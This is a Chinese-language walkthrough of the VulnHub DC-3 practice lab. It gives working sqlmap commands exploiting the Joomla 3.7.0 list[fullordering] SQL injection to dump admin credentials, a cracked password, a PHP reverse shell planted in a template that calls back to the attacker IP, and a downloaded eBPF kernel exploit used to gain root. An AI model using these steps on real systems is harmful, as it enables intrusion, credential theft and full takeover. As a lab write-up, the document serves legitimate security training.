描述
DC-3 是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
与之前的 DC 版本一样,这个版本的设计考虑到了初学者,尽管这一次只有一个标志、一个入口点,根本没有线索。
必须具备 Linux 技能和熟悉 Linux 命令行,以及具备一些基本渗透测试工具的经验。
对于初学者,Google 可以提供很大的帮助,但您可以随时在 @DCAU7 上向我发送电子邮件以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花你很长时间(事实上,你可以轻松地用不到 20 分钟)。
如果是这样的话,并且您希望它更具挑战性,您可以随时重做挑战并探索其他获得root和获得旗帜的方法。
Tips
如果你在导入时,出现了如下图所示错误
可以进入VMware虚拟机的设置中,选中CD/DVD栏的高级
在高级中,将IDE从IDE 0:1换成IDE 0:0即可正常开机
下载链接
https://download.vulnhub.com/dc/DC-3-2.zip
https://pan.baidu.com/s/1nzEggtJOkAiXlaI5n_mWpA?pwd=wh9x
攻击流程
第一步,扫描局域网内的主机,确定靶机ip
sudo arp-scan -l
根据扫描结果可知,192.168.64.1
和192.168.64.2
都是网关地址,而192.168.64.254
是广播地址,所以靶机IP是192.168.64.138
arp-scan -l
命令是用来进行局域网内ARP扫描的一个参数配置,命令中的-l
参数意味着以“长格式”(long format)输出扫描结果。这种格式通常提供更详细的信息,比如设备的MAC地址、IP地址、厂商信息(根据MAC地址前缀推断出的设备制造商)等。
对靶机ip进行全端口扫描
nmap -p- 192.168.64.138
发现80
端口开放,用whatweb
收集一下网站信息
whatweb -v 192.168.64.128
通过扫描,识别到了CMS信息,是Joomla
,也是一个比较知名的框架,和WorldPress
一样,Joomla
也有对应的扫描工具,是joomscan
,这个工具并未预装在kali中,所以需要手动安装一下
sudo apt-get install joomscan -y
安装完成之后,即可开始扫描
joomscan -u http://192.168.64.128
通过扫描,获得了两个比较有效的信息,第一个是版本信息,Joomla 3.7.0
,后续可以针对版本搜索漏洞进行攻击;第二个是管理员页面,也就是网站后台的登陆页面,可以去做类似于SQL注入、弱口令之类的尝试。
利用工具搜索Joomla 3.7.0
版本的漏洞
searchsploit joomla 3.7.0
搜索到两个,但明显第一个匹配的关键词更多,查看一下搜索到的文档
searchsploit -p 42033.txt
获得了文档的详细路径,用记事本打开
可以看到一个SQL注入的payload
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
这条命令使用了
sqlmap
工具,它是一个自动化的 SQL 注入和数据库接管工具,用于测试 Web 应用的安全漏洞。下面是这条命令的详细解释:
sqlmap
:这是命令行工具的名称,用于执行 SQL 注入测试。
-u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
:这个参数指定了要测试的目标 URL。
list[fullordering]=updatexml
部分看起来是尝试利用 SQL 注入的点。通常,这种参数名(如list[fullordering]
)可能暗示了某种排序功能
updatexml
可能是在尝试利用特定的 SQL 函数来触发错误,从而泄露数据库信息。
--risk=3
:这个参数设置了测试的风险等级。sqlmap
的风险等级从 1 到 3,等级越高,工具尝试的注入技术越危险,可能会导致目标系统的不稳定或数据损坏。等级 3 表示将尝试所有可能的技术,包括那些可能导致服务拒绝的技术。
--level=5
:这个参数设置了测试的深度或详尽程度。sqlmap
的测试级别从 1 到 5,级别越高,工具执行的测试越全面,包括更多的请求和更深入的探测。级别 5 表示执行最全面的测试。
--random-agent
:这个参数指示sqlmap
在每个请求中使用随机的 HTTP 用户代理(User-Agent)字符串。这有助于避免因为使用相同的用户代理而被目标系统的防火墙或入侵检测系统(IDS)识别出来。
--dbs
:这个参数告诉sqlmap
枚举目标数据库的所有数据库名称。
-p list[fullordering]
:这个参数指定了要测试的参数名。在这个例子中,它告诉sqlmap
只对list[fullordering]
这个参数进行 SQL 注入测试。
需要注意的是,如果这条命令的执行环境不是
/bin/bash
的话,可能会报错这个时候只需要通过命令
bash
切换一下命令执行环境即可解决报错。
成功爆出库名
下一步爆表名
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
下一步查看"#__users"表里的列
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns
在爆列名的时候,有一点要注意,当出现
do you want to use common column existence check?
时,需要输入y,而不是敲回车。在敲完回车之后,出现的选项,可以任选
一般选择
default
选项即可,选择完成之后,提示可以填入线程数,这里我直接回车,用默认的单线程跑了。
成功拿到列名
继续深入,查看username
和password
的相关信息
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
查询到了用户名和密码,但是密码显然是被哈希加密了,用爆破工具john
试试运气。
首先将这一段字符串复制到文件中
然后利用john
工具爆破密码,通过--show
参数,直接显示爆破出的密码
如此一来,就拿到了管理员的用户名和密码了
admin
snoopy
结合之前扫描到的管理员登录页面http://192.168.64.128/administrator/
,直接登录。
登录成功之后,发现一个上传点
在这个模板下,创建一个php文件,用以反弹shell
直接使用kali自带的php的webshell代码进行反弹shell的操作,源码路径是
/usr/share/webshells/php/php-reverse-shell.php
需要修改一下监听的IP
$IP = '192.168.64.129'; //攻击机的ip
$PORT = 12345; //监听的端口
修改完成之后,将源码全部复制到之前创建的php文件中保存。
保存好代码之后,还需要访问一下php文件,访问路径的构成是这样的:
joomla
的模板库默认在/templates
目录下;- 当前模板名字为
beez3
- 脚本文件保存至
html
目录下 - 脚本文件名字为
shell.php
所以,最终拼出来的路径为
http://192.168.64.128/templates/beez3/html/shell.php
在访问文件之前,kali开启监听
成功上线
创建一个交互式的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
这条命令是在Python环境中使用的一个技巧,用于启动一个伪终端(pseudo-terminal),并在这个伪终端中运行bash shell。这个技巧通常用于在受限的环境中获取一个更完整的命令行界面,尤其是在某些类型的服务器或者容器环境中,当你可能只有Python解释器可用时。下面是对这个命令的详细解释:
python3 -c
:这部分告诉系统使用Python 3执行接下来的字符串中的Python代码。-c
选项允许你直接在命令行中运行Python代码,而不是运行一个Python脚本文件。
import pty
:这行代码导入了Python的pty
模块。pty
模块提供了对伪终端的支持,允许你创建一个伪终端对(master和slave),这可以用于实现终端仿真。
pty.spawn("/bin/bash")
:这行代码使用pty
模块的spawn
函数启动了一个新的进程,这个进程运行/bin/bash
,即Bash shell。spawn
函数会创建一个伪终端对,并将子进程的标准输入、输出和错误输出连接到伪终端的slave端,而master端则连接到当前进程(即运行这个Python命令的进程)。这样,你就可以通过当前进程的输入输出与Bash shell交互了。
查看系统信息,为提权做准备
通过searchsploit
搜索Ubuntu 16.04
相关的提权漏洞
searchsploit ubuntu 16.04 Privilege Escalation
“Privilege Escalation”的翻译为“权限提升”或“提权”
选择用4.4.x
尝试一下,首先查看一下这个文件的位置
searchsploit -p 39772.txt
然后打开这个文件,可以获取到exp的下载地址
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
kali通过wget
可以下载
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载完成之后,kali通过python开启网络服务
python3 -m http.server
在Python 3中,
python3 -m http.server
命令用于快速启动一个简单的HTTP服务器,该服务器可以用来共享文件或者进行简单的web开发测试。这个命令实际上是在调用Python标准库中的http.server
模块来创建一个HTTP服务器。当你运行
python3 -m http.server
时,默认情况下,服务器会在当前目录下启动,并监听所有可用的网络接口上的8000端口。你可以通过浏览器访问http://<your-ip>:8000
来查看当前目录下的文件和文件夹(以网页形式展示)这个命令还有一些可选参数:
port
(或p
):指定服务器监听的端口号。例如,python3 -m http.server 8080
会在8080端口上启动服务器。directory
(或d
):指定服务器要服务的根目录。如果不指定,默认为当前工作目录。
记住这个路径,靶机需要通过这个路径下载提权文件
http://192.168.64.129:8000/39772/exploit.tar
靶机想下载文件,需要切换到一个可写入的目录,例如之前写入webshell的目录
/var/www/html/templates/beez3
切换到这个目录下,通过命令下载
cd /var/www/html/templates/beez3
wget http://192.168.64.129:8000/39772/exploit.tar
下载完毕,解压
tar -xvf exploit.tar
切换到目录下,执行脚本
脚本执行的顺序在39772.txt
文件中有说明
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
提权成功
拿到flag
,打完收工!!!